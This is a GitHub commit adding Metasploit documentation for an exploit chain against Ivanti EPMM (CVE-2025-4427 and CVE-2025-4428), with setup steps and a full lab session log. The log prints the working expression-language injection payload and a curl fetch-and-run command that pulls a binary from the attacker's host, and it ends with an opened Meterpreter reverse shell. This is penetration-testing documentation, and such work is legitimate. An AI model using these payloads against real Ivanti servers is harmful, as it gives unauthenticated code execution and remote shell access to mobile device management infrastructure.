Skip to content

Commit 68929a5

Browse files
authored
Add ivanti_epmm_rce_cve_2025_4427_4428.md
Documentation for ivanti_epmm_rce_cve_2025_4427_4428.
1 parent 704e498 commit 68929a5

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
## Vulnerable Application
2+
This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
3+
tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
4+
access to an administrator web API endpoint, which allows for code execution via expression
5+
language injection. This module executes in the context of the 'tomcat' user. This module
6+
should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
7+
8+
## Testing
9+
To set up a test environment:
10+
1. Set up an Ivanti EPMM or MobileIron Core VM appliance.
11+
2. Configure basic networking and confirm that the web service on port 443 is reachable.
12+
3. Follow the verification steps below.
13+
14+
## Options
15+
No custom options exist for this module.
16+
17+
## Verification Steps
18+
1. Start msfconsole
19+
2. `use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428`
20+
3. `set RHOSTS <TARGET_IP_ADDRESS>`
21+
4. `set RPORT <TARGET_PORT>`
22+
5. `run`
23+
24+
## Scenarios
25+
### Ivanti EPMM (MobileIron Core) Linux Target
26+
```
27+
msf6 > use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428
28+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
29+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options
30+
31+
Module options (exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428):
32+
33+
Name Current Setting Required Description
34+
---- --------------- -------- -----------
35+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
36+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
37+
RPORT 443 yes The target port (TCP)
38+
SSL true yes Negotiate SSL/TLS for outgoing connections
39+
TARGETURI / yes The base path to Ivanti EPMM
40+
VHOST no HTTP server virtual host
41+
42+
43+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
44+
45+
Name Current Setting Required Description
46+
---- --------------- -------- -----------
47+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
48+
FETCH_DELETE false yes Attempt to delete the binary after execution
49+
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
50+
FETCH_SRVHOST no Local IP to use for serving payload
51+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
52+
FETCH_URIPATH no Local URI to use for serving payload
53+
LHOST yes The listen address (an interface may be specified)
54+
LPORT 4444 yes The listen port
55+
56+
57+
When FETCH_FILELESS is false:
58+
59+
Name Current Setting Required Description
60+
---- --------------- -------- -----------
61+
FETCH_FILENAME EUAqTWOdJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
62+
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
63+
64+
65+
Exploit target:
66+
67+
Id Name
68+
-- ----
69+
0 Default
70+
71+
72+
73+
View the full module info with the info, or info -d command.
74+
75+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set RHOSTS 192.168.181.148
76+
RHOSTS => 192.168.181.148
77+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set LHOST 192.168.181.129
78+
LHOST => 192.168.181.129
79+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set FETCH_SRVPORT 9191
80+
FETCH_SRVPORT => 9191
81+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set VERBOSE true
82+
VERBOSE => true
83+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > check
84+
[*] Payload pt. 1/1: id
85+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id').getInputStream()).useDelimiter('%5C%5CA').next()}
86+
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'."]}]}
87+
[+] 192.168.181.148:443 - The target is vulnerable. Successfully executed command
88+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > run
89+
[*] Command to run on remote host: curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw;chmod +x /var/tmp/lktEmYrRyAfw;/var/tmp/lktEmYrRyAfw&
90+
[*] Fetch handler listening on 192.168.181.129:9191
91+
[*] HTTP server started
92+
[*] Adding resource /rwwkKagVT2DQx25BSXklfw
93+
[*] Started reverse TCP handler on 192.168.181.129:4444
94+
[*] Running automatic check ("set AutoCheck false" to disable)
95+
[*] Payload pt. 1/1: id
96+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id').getInputStream()).useDelimiter('%5C%5CA').next()}
97+
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'."]}]}
98+
[+] The target is vulnerable. Successfully executed command
99+
[*] Attempting to execute payload
100+
[*] Payload pt. 1/3: curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw
101+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}
102+
[*] Client 192.168.181.148 requested /rwwkKagVT2DQx25BSXklfw
103+
[*] Sending payload to 192.168.181.148 (curl/7.29.0)
104+
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'."]}]}
105+
[*] Payload pt. 2/3: chmod +x /var/tmp/lktEmYrRyAfw
106+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}
107+
[*] Command pt 2 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'."]}]}
108+
[*] Payload pt. 3/3: /var/tmp/lktEmYrRyAfw &
109+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('/var/tmp/lktEmYrRyAfw &').getInputStream()).useDelimiter('%5C%5CA').next()}
110+
[*] Meterpreter session 1 opened (192.168.181.129:4444 -> 192.168.181.148:38980) at 2025-05-28 16:31:52 -0500
111+
[*] No command pt 3 response expected
112+
113+
meterpreter > getuid
114+
Server username: tomcat
115+
meterpreter > sysinfo
116+
Computer : core.mobileiron.local
117+
OS : CentOS 7.6.1810 (Linux 3.10.0-1160.6.1.el7.x86_64)
118+
Architecture : x64
119+
BuildTuple : x86_64-linux-musl
120+
Meterpreter : x64/linux
121+
meterpreter >
122+
```

0 commit comments

Comments
 (0)